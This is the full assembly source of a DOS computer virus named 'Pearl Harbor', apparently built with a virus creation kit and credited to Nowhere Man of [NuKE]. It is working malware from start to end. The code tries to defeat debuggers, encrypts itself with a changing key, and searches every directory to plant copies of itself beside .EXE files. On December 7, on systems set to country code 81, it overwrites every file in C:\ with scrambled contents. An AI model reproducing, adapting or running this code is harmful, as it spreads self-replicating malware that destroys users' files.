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Assembly Source File | 1998-01-14 | 13.2 KB | 434 lines

; PEARLHBR.ASM -- Pearl Harbor Virus ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by Nowhere Man virus_type equ 2 ; Spawning Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h start label near main proc near call encrypt_decrypt ; Decrypt the virus start_of_code label near stop_tracing: mov cx,09EBh mov ax,0FE05h ; Acutal move, plus a HaLT jmp $-2 add ah,03Bh ; AH now equals 025h jmp $-10 ; Execute the HaLT mov bx,offset null_vector ; BX points to new routine push cs ; Transfer CS into ES pop es ; using a PUSH/POP int 021h mov al,1 ; Disable interrupt 1, too int 021h jmp short skip_null ; Hop over the loop null_vector: jmp $ ; An infinite loop skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged lock_keys: mov al,128 ; Change here screws DEBUG out 021h,al ; If tracing then lock keyboard call get_month cmp ax,000Ch ; Did the function return 12? jne skip00 ; If not equal, skip effect call get_day cmp ax,0007h ; Did the function return 7? jne skip00 ; If not equal, skip effect jmp short strt00 ; Success -- skip jump skip00: jmp end00 ; Skip the routine strt00: mov si,offset data00 ; SI points to data mov ah,0Eh ; BIOS display char. function display_loop: lodsb ; Load the next char. into AL or al,al ; Is the character a null? je disp_strnend ; If it is, exit int 010h ; BIOS video interrupt jmp short display_loop ; Do the next character disp_strnend: end00: call get_country cmp ax,0051h ; Did the function return 81? jne skip01 ; If not equal, skip effect call get_month cmp ax,000Ch ; Did the function return 12? jne skip01 ; If not equal, skip effect call get_day cmp ax,0007h ; Did the function return 7? jne skip01 ; If not equal, skip effect jmp short strt01 ; Success -- skip jump skip01: jmp end01 ; Skip the routine strt01: mov dx,offset data01 ; DX points to data push bp ; Save BP mov bp,sp ; BP points to stack frame sub sp,4096 ; Allocate 4096-byte buffer push di ; Save DI mov ah,02Fh ; DOS get DTA function int 021h mov di,bx ; DI points to DTA mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes int 021h jc corrupt_end ; If no files found then exit corrupt_file: mov ax,04301h ; DOS set file attributes function xor cx,cx ; File will have no attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ax,03D02h ; DOS open file function, r/w lea dx,[di + 01Eh] ; DX points to file name int 021h xchg bx,ax ; Transfer file handle to AX c_crypt_loop: mov ah,03Fh ; DOS read from file function mov cx,4096 ; Read 4k of characters lea dx,[bp - 4096] ; DX points to the buffer int 021h or ax,ax ; Were 0 bytes read? je close_c_file ; If so then close it up push ax ; Save AX lea si,[bp - 4096] ; SI points to the buffer xor ah,ah ; BIOS get clock ticks function int 01Ah pop cx ; CX holds number of bytes read push cx ; Save CX corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks inc si ; Do the next byte inc dx ; Change the key for next byte loop corrupt_bytes ; Repeat until buffer is done pop dx ; Restore DX (holds bytes read) push dx ; Save count for write mov ax,04201h ; DOS file seek function, current mov cx,0FFFFh ; Seeking backwards neg dx ; Seeking backwards int 021h mov ah,040h ; DOS write to file function pop cx ; CX holds number of bytes read lea dx,[bp - 4096] ; DX points to the buffer int 021h jmp short c_crypt_loop close_c_file: mov ax,05701h ; DOS set file date/time function mov cx,[di + 016h] ; CX holds old file time mov dx,[di + 018h] ; DX holds old file data int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attributes function xor ch,ch ; Clear CH for attributes mov cl,[di + 015h] ; CL holds old attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ah,04Fh ; DOS find next file function int 021h jnc corrupt_file ; If successful do next file corrupt_end: pop di ; Restore DI mov sp,bp ; Deallocate local buffer pop bp ; Restore BP end01: mov ah,04Ah ; DOS resize memory function mov bx,(finish - start) / 16 + 0272h ; BX holds # of para. int 021h mov sp,(finish - start) + 01100h ; Change top of stack mov si,offset spawn_name ; SI points to true filename int 02Eh ; DOS execution back-door push ax ; Save return value for later mov ax,cs ; AX holds code segment mov ds,ax ; Restore data segment mov es,ax ; Restore extra segment call search_files ; Find and infect a file pop ax ; AL holds return value mov ah,04Ch ; DOS terminate function int 021h main endp db 010h,07Ch,0E5h,00Ch,0DAh search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ; SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function mov dx,offset root ; DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes mov dx,offset all_files ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself pushf ; Save the flags mov ah,03Bh ; DOS change directory function mov dx,offset up_dir ; DX points to parent directory int 021h popf ; Restore the flags jnc done_searching ; If we infected then exit another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: mov dx,offset exe_mask ; DX points to "*.EXE" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for exe_mask db "*.EXE",0 ; Mask for all .EXE files traverse endp db 0D0h,0DCh,083h,09Eh,044h find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp db 07Eh,0FFh,09Ah,025h,02Bh infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov di,bx ; DI points to the DTA lea si,[di + 01Eh] ; SI points to file name mov dx,si ; DX points to file name, too mov di,offset spawn_name + 1; DI points to new name xor ah,ah ; AH holds character count transfer_loop: lodsb ; Load a character or al,al ; Is it a NULL? je transfer_end ; If so then leave the loop inc ah ; Add one to the character count stosb ; Save the byte in the buffer jmp short transfer_loop ; Repeat the loop transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count mov byte ptr [di],13 ; Make CR the final character mov di,dx ; DI points to file name xor ch,ch ; mov cl,ah ; CX holds length of filename mov al,'.' ; AL holds char. to search for repne scasb ; Search for a dot in the name mov word ptr [di],'OC' ; Store "CO" as first two bytes mov byte ptr [di + 2],'M' ; Store "M" to make "COM" mov byte ptr [set_carry],0 ; Assume we'll fail mov ax,03D00h ; DOS open file function, r/o int 021h jnc infection_done ; File already exists, so leave mov byte ptr [set_carry],1 ; Success -- the file is OK mov ah,03Ch ; DOS create file function mov cx,00100111b ; CX holds file attributes (all) int 021h xchg bx,ax ; BX holds file handle call encrypt_code ; Write an encrypted copy mov ah,03Eh ; DOS close file function int 021h infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed ret ; Return to caller spawn_name db 12,12 dup (?),13 ; Name for next spawn set_carry db ? ; Set-carry-on-exit flag infect_file endp db 038h,025h,0F2h,0EAh,074h get_country proc near push bp ; Save BP mov bp,sp ; BP points to stack frame sub sp,34 ; Allocate 34 bytes on stack mov ah,038h ; DOS get country function lea dx,[bp - 34] ; DX points to unused buffer int 021h xchg bx,ax ; AX holds the country code mov sp,bp ; Deallocate local buffer pop bp ; Restore BP ret ; Return to caller get_country endp db 05Bh,02Dh,0FBh,03Ah,0E9h get_day proc near mov ah,02Ah ; DOS get date function int 021h mov al,dl ; Copy day into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_day endp db 049h,053h,0C8h,006h,095h get_month proc near mov ah,02Ah ; DOS get date function int 021h mov al,dh ; Copy month into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_month endp data00 db "December 7th, 1941 -- A day that will live in infamy...",13,10,13,10 db 07,07,07 db "*** REMEMBER PEARL HARBOR ***",13,10,0 data01 db "C:\*.*",0 vcl_marker db "[VCL]",0 ; VCL creation marker note db "Dedicated to the memories of t" db "he brave American men and wome" db "n who gave their lives at [Pea" db "rl Harbor].",0 db "Nowhere Man, [NuKE] '92",0 encrypt_code proc near mov si,offset encrypt_decrypt; SI points to cipher routine xor ah,ah ; BIOS get time function int 01Ah mov word ptr [si + 8],dx ; Low word of timer is new key xor byte ptr [si],1 ; xor byte ptr [si + 7],1 ; Change all SIs to DIs xor word ptr [si + 10],0101h; (and vice-versa) mov di,offset finish ; Copy routine into heap mov cx,finish - encrypt_decrypt - 1 ; All but final RET push si ; Save SI for later push cx ; Save CX for later rep movsb ; Copy the bytes mov si,offset write_stuff ; SI points to write stuff mov cx,5 ; CX holds length of write rep movsb ; Copy the bytes pop cx ; Restore CX pop si ; Restore SI inc cx ; Copy the RET also this time rep movsb ; Copy the routine again mov ah,040h ; DOS write to file function mov dx,offset start ; DX points to virus call finish ; Encrypt/write/decrypt ret ; Return to caller write_stuff: mov cx,finish - start ; Length of code int 021h encrypt_code endp end_of_code label near encrypt_decrypt proc near mov si,offset start_of_code ; SI points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; CX holds length xor_loop: db 081h,034h,00h,00h ; XOR a word by the key inc si ; Do the next word inc si ; loop xor_loop ; Loop until we're through ret ; Return to caller encrypt_decrypt endp finish label near code ends end main